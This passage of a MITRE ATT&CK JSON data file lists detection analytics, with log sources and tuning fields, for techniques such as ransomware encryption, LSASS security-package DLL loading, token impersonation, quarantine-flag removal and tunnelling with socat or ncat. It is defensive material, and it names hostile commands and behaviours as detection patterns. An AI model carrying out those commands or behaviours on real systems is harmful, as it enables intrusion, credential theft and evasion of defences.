                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "snmp:status",
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                    "field": "CipherSuiteWhitelist",
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                    "field": "TimeWindow",
                    "description": "Correlation period between configuration changes and abnormal traffic; adjustable to reduce false positives."
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                    "field": "AuthorizedFirmwareSources",
                    "description": "Known trusted sources of firmware updates; deviations indicate possible compromise."
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                {
                    "field": "TrafficEntropyThreshold",
                    "description": "Baseline entropy measurements of encrypted traffic; deviations may reveal weakening of encryption."
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            "description": "Detects adversary behavior deleting artifacts (e.g., dropped payloads, evidence files) using native or external utilities (e.g., del, erase, SDelete). Detects deletion events correlated with unusual process lineage or timing post-execution.",
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            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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                "Windows"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=23"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4663, 4670, 4656"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "WinEventLog:PowerShell",
                    "channel": "EventCode=4103, 4104, 4105, 4106"
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                {
                    "field": "TimeWindow",
                    "description": "Defines correlation window after suspicious binary execution or login session."
                },
                {
                    "field": "FilePathPattern",
                    "description": "Focuses on deletion of temp files, malware staging dirs, or known indicators."
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                {
                    "field": "UserContext",
                    "description": "Privilege level or impersonated user deleting sensitive files."
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            "name": "Analytic 0011",
            "description": "Modification of PATH or HOME environment variables through shell config files, launchctl, or /etc/paths.d entries, combined with process execution from attacker-controlled directories. Defender correlates file changes in /etc/paths.d with process execution resolving to malicious binaries.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "macOS"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "macos:unifiedlog",
                    "channel": "File modification in /etc/paths.d or user shell rc files"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "Process execution path inconsistent with baseline PATH directories"
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                {
                    "field": "WatchedPathsDirs",
                    "description": "Monitor /etc/paths.d and $HOME for unauthorized entries."
                },
                {
                    "field": "TrustedExecutables",
                    "description": "Baseline applications expected in user PATH directories."
                }
            ],
            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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                    "url": "https://attack.mitre.org/detectionstrategies/DET0260#AN0721",
                    "external_id": "AN0721"
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            "name": "Analytic 0721",
            "description": "Forged credentials on macOS may be visible through Unified Logs showing abnormal access to Keychain or browser session files. Correlated with anomalous web session usage from Safari or Chrome processes outside typical user context.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
                    "name": "macos:unifiedlog",
                    "channel": "Access to Keychain items or browser credential stores"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428",
                    "name": "macos:unifiedlog",
                    "channel": "Web sessions initiated with newly forged tokens"
                }
            ],
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                {
                    "field": "AuthorizedKeychainApps",
                    "description": "List applications that normally request Keychain credentials."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--b2f444b1-e434-40e1-9501-6b66a05a0201",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0215#AN0603",
                    "external_id": "AN0603"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0603",
            "description": "Encryption via custom or open-source tools (e.g., openssl, gpg, aescrypt) recursively targeting user or system directories. Also includes overwrite of existing data and ransom note drops.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "auditd:SYSCALL",
                    "channel": "openat, write, rename, unlink"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "FilenamePattern",
                    "description": "Look for creation of ransom note files (e.g., READ_ME.txt, HELP_DECRYPT.html)."
                },
                {
                    "field": "SyscallBurstRate",
                    "description": "High write/open/unlink activity in short intervals indicates encryption attempts."
                },
                {
                    "field": "DirectoryTargeted",
                    "description": "Correlate activity in /home, /etc, /opt, or mounted volumes."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--b31afcb5-1690-43f1-acbb-3e2936e48616",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0531#AN1470",
                    "external_id": "AN1470"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1470",
            "description": "Cloud API usage to create/import SSH keys or generate new access keys (CreateAccessKey, ImportKeyPair, CreateLoginProfile) from non-console access or unusual principals.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "IaaS"
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            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--18b236d8-7224-488f-9d2f-50076a0f653a",
                    "name": "AWS:CloudTrail",
                    "channel": "CreateAccessKey, ImportKeyPair, CreateLoginProfile, CreateKeyPair"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77",
                    "name": "gcp:audit",
                    "channel": "iam.serviceAccounts.keys.create, os-login.sshPublicKeys.add"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "CallerIdentityContext",
                    "description": "Track root, federated identities, and STS tokens separately."
                },
                {
                    "field": "NewCredentialUsageWindow",
                    "description": "Time between key creation and first use (default: 5 min)."
                },
                {
                    "field": "IAMRoleBaseline",
                    "description": "Expected services/accounts allowed to create keys."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--b31fc018-6fbc-4de7-9bf2-f545b5f8f0c2",
            "created": "2025-10-21T15:10:28.402Z",
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            "name": "Analytic 1278",
            "description": "Multiple failed authentications in unified logs (e.g., loginwindow or sshd)",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "macOS"
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            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
                    "name": "macos:unifiedlog",
                    "channel": "auth"
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            ],
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                {
                    "field": "TimeWindow",
                    "description": "Scope of authentication failures (e.g., 10-15 mins)"
                },
                {
                    "field": "TargetUser",
                    "description": "Filter known service or decoy accounts"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--b355ae5d-3cd6-4594-8bd9-8fed59e02326",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/detectionstrategies/DET0090#AN0247",
                    "external_id": "AN0247"
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0247",
            "description": "Behavioral sequence where removable media is mounted, files are written/updated, and subsequently read/executed on a separate host, suggesting removable-media relay communication.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f",
                    "name": "WinEventLog:System",
                    "channel": "EventCode=1006"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                },
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            "description": "Cause\u2192effect chain: (1) Browser/Office/reader process logs crash/segfault or abnormal sandbox message, (2) new executable/script/write occurs in $HOME (Downloads, ~/.cache, /tmp), (3) unexpected child like curl/wget/bash/python opens network connections soon after.",
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                    "channel": "EventCode=13, 14"
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            "x_mitre_domains": [
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                "Containers"
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                    "name": "docker:daemon",
                    "channel": "container file operations"
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                    "name": "ebpf:syscalls",
                    "channel": "Unexpected container volume unmount + file deletion"
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                    "description": "Tune based on how logs are exported (bind-mount, overlay)"
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                {
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                    "description": "Limit detection to suspicious containers or runtime classes"
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            "name": "Analytic 0278",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
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                {
                    "field": "ParentProcessName",
                    "description": "May vary depending on delivery vector (e.g., explorer.exe, cmd.exe, rundll32.exe)"
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                    "description": "Used to correlate file drop and execution of Lua scripts in close succession."
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            "x_mitre_deprecated": false
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                    "external_id": "AN1495"
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            "description": "Monitor registry modifications to `HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages` or `...\\OSConfig\\Security Packages`, especially insertions of new DLL entries. Correlate this with subsequent DLL module loads into `lsass.exe`. Track unsigned or anomalous DLLs loading into LSASS using image load auditing. LSASS loads unsigned DLL due to AuditLevel=8 registry configuration or System reboot followed by DLL load into lsass.exe",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4657"
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                {
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                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                    "field": "TimeWindow",
                    "description": "Controls how long after registry modification to expect a DLL load into LSASS (e.g., after reboot)"
                },
                {
                    "field": "DLLSignatureValidation",
                    "description": "Use to detect unsigned DLLs or those not matching known trusted publisher certificates"
                },
                {
                    "field": "CustomSSPNameList",
                    "description": "Define allowed SSP values for your org to reduce false positives"
                },
                {
                    "field": "BootContextCorrelation",
                    "description": "Whether detection should correlate boot-time registry and process events"
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            "name": "Analytic 0566",
            "description": "Unsigned or user-space apps initiate TLS connections with one hostname and HTTP headers requesting a different domain, commonly abused in CDN-resident domain fronting techniques.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
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                {
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                    "name": "macos:osquery",
                    "channel": "process_events"
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                    "description": "Helps tune detection when unsigned apps initiate fronted sessions."
                },
                {
                    "field": "HostHeaderMatch",
                    "description": "Threshold to flag inconsistent domain targeting in encrypted sessions."
                },
                {
                    "field": "SOCKSPortAnomaly",
                    "description": "Alert on unusual ports used in HTTPS+SOCKS activity patterns."
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                    "channel": "truncate, unlink, write"
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            ],
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                    "description": "Duration in which process activity and file I/O should be temporally linked."
                },
                {
                    "field": "LogFilePathPattern",
                    "description": "Tunable path filter for macOS logs such as /var/log/system.log or /var/log/asl.log."
                },
                {
                    "field": "UserContext",
                    "description": "Detects higher risk when log deletion is performed by unusual users (e.g., interactive vs. system users)."
                }
            ],
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                    "channel": "execve: parent process is usb/hid device handler, child process bash/python invoked"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f",
                    "name": "linux:syslog",
                    "channel": "New HID device enumeration with type 'keyboard' followed by immediate input injection"
                }
            ],
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                {
                    "field": "USBVendorIDs",
                    "description": "Track suspicious or unapproved USB vendor/product IDs."
                },
                {
                    "field": "ScriptExecutionThreshold",
                    "description": "Time threshold for script execution after HID injection, e.g., less than 10 seconds."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0800",
            "description": "Correlates suspicious removal or modification of the com.apple.quarantine extended attribute, manipulation of LSFileQuarantineEnabled values in Info.plist, and unexpected process execution of unsigned or non-notarized binaries. Also monitors abnormal trust validation failures in unified logs and unusual activity in QuarantineEvents database entries.",
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                "enterprise-attack"
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                "macOS"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "macos:unifiedlog",
                    "channel": "xattr -d com.apple.quarantine or similar attribute removal commands"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "Trust validation failures or bypass attempts during notarization and code signing checks"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "macos:osquery",
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                {
                    "field": "QuarantineBypassAllowList",
                    "description": "Legitimate enterprise update tools or deployment frameworks that may strip quarantine flags"
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                {
                    "field": "CertificateAuthorityList",
                    "description": "Baseline trusted Apple Developer IDs and enterprise certs used for code signing"
                },
                {
                    "field": "TimeWindow",
                    "description": "Time correlation window for xattr modification followed by suspicious process execution"
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        },
        {
            "type": "x-mitre-analytic",
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                    "source_name": "mitre-attack",
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            "name": "Analytic 0863",
            "description": "A compromised package/update (deb/rpm/tarball/AppImage/vendor updater) is installed, writing/overwriting files in /usr/local/bin, /usr/bin, /opt, or ~/.local; first run executes unexpected shells/curl/wget and connects to unapproved hosts. Correlate package/updater execution \u2192 file writes/replace \u2192 first-run child processes \u2192 egress.",
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                "enterprise-attack"
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                "Linux"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
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                    "channel": "New outbound flows to non-approved vendor hosts post install"
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                {
                    "field": "PathScope",
                    "description": "Monitored install paths (/usr/local, /usr/bin, /opt/*, ~/.local/bin, /var/lib/systemd)."
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                    "field": "ApprovedRepos",
                    "description": "Allow-listed APT/YUM repos and GPG keys for vendor updates."
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                {
                    "field": "TimeWindow",
                    "description": "Default 90 minutes."
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            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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                    "source_name": "mitre-attack",
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                    "external_id": "AN1579"
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            "name": "Analytic 1579",
            "description": "Detects assignment of high-privilege roles to user or service accounts via Kubernetes RoleBinding or ClusterRoleBinding objects, especially outside of CI/CD automation or from unknown IPs.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
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                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Containers"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77",
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                    "channel": "create or update events for RoleBinding or ClusterRoleBinding objects"
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                {
                    "field": "UserAgent",
                    "description": "Filter expected sources of automated role assignment (e.g., CI/CD tooling)"
                },
                {
                    "field": "RoleName",
                    "description": "Scope to privileged roles like cluster-admin, edit, admin"
                },
                {
                    "field": "TimeWindow",
                    "description": "Detect after-hours or irregular-time assignments"
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                {
                    "field": "UserContext",
                    "description": "Define known service accounts and privileged operators to reduce noise"
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        },
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            "created": "2025-10-22T19:00:47.079Z",
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            "description": "Process execution without GUI context (e.g., powershell.exe, wscript.exe) generates HTTP traffic with a spoofed User-Agent mimicking a legitimate browser. No corresponding UI application (e.g., msedge.exe) is active or in parent lineage. The User-Agent deviates from known enterprise baselines or contains spoofed platform indicators.  User-Agent strings can be gathered with API calls such as `ShellExecuteW` to open the default browser on a socket to receive an HTTP reply, or by hard coding the User-Agent string for a specific browser.",
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            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
                "enterprise-attack"
            ],
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                "Windows"
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                    "channel": "Inbound HTTP POST with suspicious payload size or user-agent"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e",
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                {
                    "field": "HeaderSignatureMatch",
                    "description": "Specific HTTP header anomalies or patterns (e.g., spoofed User-Agent)."
                },
                {
                    "field": "UserAgentFingerprint",
                    "description": "Flag browser-based sessions"
                },
                {
                    "field": "NonBrowserProcessList",
                    "description": "List of non-browser binaries expected not to initiate web requests (e.g., powershell.exe, cscript.exe)"
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            "name": "Analytic 1324",
            "description": "Detection of token duplication and impersonation attempts by correlating suspicious command-line executions (e.g., runas) with API calls to DuplicateToken, DuplicateTokenEx, ImpersonateLoggedOnUser, or SetThreadToken. The chain includes the initial command execution or in-memory API invocation \u2192 token handle duplication or thread token assignment \u2192 a new or existing process assuming the impersonated user's context.",
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            "x_mitre_attack_spec_version": "3.3.0",
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                "enterprise-attack"
            ],
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                "Windows"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                    "channel": "EventCode=4688"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=10"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e",
                    "name": "ETW:Token",
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                }
            ],
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                {
                    "field": "AllowedSystemProcesses",
                    "description": "Whitelist of known processes that legitimately duplicate tokens (e.g., services.exe)."
                },
                {
                    "field": "TimeWindow",
                    "description": "Time interval between API call and subsequent impersonated process (e.g., 5m)."
                },
                {
                    "field": "UserContextFilter",
                    "description": "Filter for service accounts or known administrative accounts that perform legitimate impersonation."
                },
                {
                    "field": "ParentProcessAnomalyThreshold",
                    "description": "Threshold for parent-child process lineage anomalies indicating token theft."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--b7a63a7c-e8c2-4a25-becf-299ea45996e5",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "external_id": "AN1238"
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            "name": "Analytic 1238",
            "description": "Account created using esxcli commands. Sequence includes esxcli execution and successful modification to account DB.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "ESXi"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "esxi:vmkernel",
                    "channel": "esxcli system account add"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "CommandOrigin",
                    "description": "Console sessions vs SSH vs vSphere CLI session may affect alert fidelity"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--b7e4a6de-8ff3-4711-aa83-97533adec211",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/detectionstrategies/DET0208#AN0585",
                    "external_id": "AN0585"
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            "name": "Analytic 0585",
            "description": "Malicious script or binary causes repeated kernel panics, OOM kills, or systemd service restarts targeting services like nginx, httpd, sshd.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6",
                    "name": "linux:syslog",
                    "channel": "Out of memory killer invoked or kernel panic entries"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "journald:systemd",
                    "channel": "Repeated service restart attempts or unit failures"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ServiceName",
                    "description": "Targeted daemon/service such as sshd, nginx, mysql"
                },
                {
                    "field": "RestartThreshold",
                    "description": "Number of restarts in short succession to trigger alert"
                },
                {
                    "field": "OOMKillCount",
                    "description": "Count of OOM kills over a time window"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--b8141218-1f71-4b65-a611-7c9c55038c4c",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0139#AN0391",
                    "external_id": "AN0391"
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0391",
            "description": "Detects DYLD_INSERT_LIBRARIES abuse to hook credential-sensitive applications by correlating process spawns with unauthorized library injection and monitoring changes to the __TEXT segment (code) of credential handling binaries.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "macos:unifiedlog",
                    "channel": "DYLD event subsystem"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "fs:fsusage",
                    "channel": "File Access Monitor"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96",
                    "name": "macos:osquery",
                    "channel": "Memory Mappings"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "DYLDInjectedPath",
                    "description": "Tunable based on naming patterns or location of malicious dylibs"
                },
                {
                    "field": "ParentProcessName",
                    "description": "Hooking attempts may stem from terminal.app, bash, or AppleScript-based launchers"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--b8685b0b-f96e-41a4-8e01-eec252756447",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0565#AN1561",
                    "external_id": "AN1561"
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1561",
            "description": "Registry access to system language keys (e.g., HKLM\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language) or suspicious processes invoking locale-related APIs (e.g., GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList). Defender visibility focuses on anomalous or non-standard processes issuing these queries, especially when run by unknown binaries or scripts.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--ed0dd8aa-1677-4551-bb7d-8da767617e1b",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4657"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                {
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                    "name": "ETW",
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            ],
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                {
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                {
                    "field": "QueryThreshold",
                    "description": "Frequency threshold for language registry or API calls within a set time window."
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            "name": "Analytic 0506",
            "description": "Detection of VNC-based remote control via `screensharingd` activity in Unified Logs along with concurrent remote login activity or suspicious user interaction.",
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                    "field": "UserActivitySpike",
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                    "field": "PrivilegedAccounts",
                    "description": "List of administrative accounts to prioritize when monitoring for conditional access changes."
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                {
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                    "description": "Minimum continuous token length to treat as potential non-standard payload (e.g., \u2265120 chars)."
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                    "field": "TimeWindow",
                    "description": "Correlation window from encode routine to egress (default 10m)."
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                    "field": "KnownLegitEncoders",
                    "description": "Legitimate in-house/custom encoders to suppress."
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                    "field": "GeoLocation",
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                },
                {
                    "field": "RateThreshold",
                    "description": "Number of instances created per user or account in a time window. Tuned for environments with elastic scaling."
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                    "description": "Expected tags (e.g., owner, purpose, cost center) for new instances. Deviations may indicate adversarial creation."
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            "description": "VMware management daemons or guest processes initiating encrypted connections outside expected vCenter, update servers, or internal comms. Defender identifies hostd or vpxa initiating outbound TLS flows with uncommon destinations.",
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                    "name": "esxi:vmkernel",
                    "channel": "Inspection of sockets showing encrypted sessions from non-baseline processes"
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                    "field": "AllowedMgmtHosts",
                    "description": "Baseline approved endpoints for vCenter or update services."
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                    "name": "auditd:SYSCALL",
                    "channel": "execve"
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                {
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                    "name": "NSM:Flow",
                    "channel": "Connection Tracking"
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                    "field": "CommandLinePattern",
                    "description": "Shell piping into tools like `socat`, `ncat`, or `openssl` for tunnel creation."
                },
                {
                    "field": "OutboundPortRange",
                    "description": "Flag connections made from internal systems to uncommon high ports externally."
                },
                {
                    "field": "ProcessUserContext",
                    "description": "Capture low-privilege or unexpected users executing system-level network tools."
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            "x_mitre_deprecated": false
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            "name": "Analytic 1022",
            "description": "LaunchAgents or LaunchDaemons initiate persistent Tor or relay processes that make encrypted outbound connections. May be paired with sandbox bypasses or unsigned executables communicating over SOCKS proxies.",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                    "channel": "process, socket, and DNS logs"
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                {
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                    "name": "macos:osquery",
                    "channel": "process_events + launchd"
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                {
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                    "name": "macos:unifiedlog",
                    "channel": "forwarded encrypted traffic"
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            ],
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                {
                    "field": "LaunchdLabel",
                    "description": "Regex for masking patterns in LaunchAgents with proxy behavior."
                },
                {
                    "field": "UnsignedBinary",
                    "description": "Allow for exceptions for known unsigned binaries."
                },
                {
                    "field": "SOCKSPortUsage",
                    "description": "Monitor local 9050/9150 activity and rerouted system traffic."
                }
            ],
            "x_mitre_deprecated": false
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            "description": "Defenders may observe attempts to alter cryptographic settings on network devices that reduce key strength or allowable cipher suites. Suspicious indicators include configuration changes that downgrade encryption algorithms, key length parameters, or the disabling of strong encryption in favor of legacy ciphers. These activities often appear as CLI commands modifying crypto policies, firmware changes affecting crypto libraries, or unexpected updates to key management files. Correlation across device config logs and traffic analysis showing weaker ciphers provides higher confidence of malicious key space reduction.",
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            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "Network Devices"
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                    "name": "networkdevice:config",
                    "channel": "Configuration changes referencing 'crypto', 'key length', 'cipher', or downgrade of encryption settings"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "networkdevice:cli",
                    "channel": "Execution of CLI commands altering crypto parameters (e.g., 'crypto key generate rsa modulus 512')"
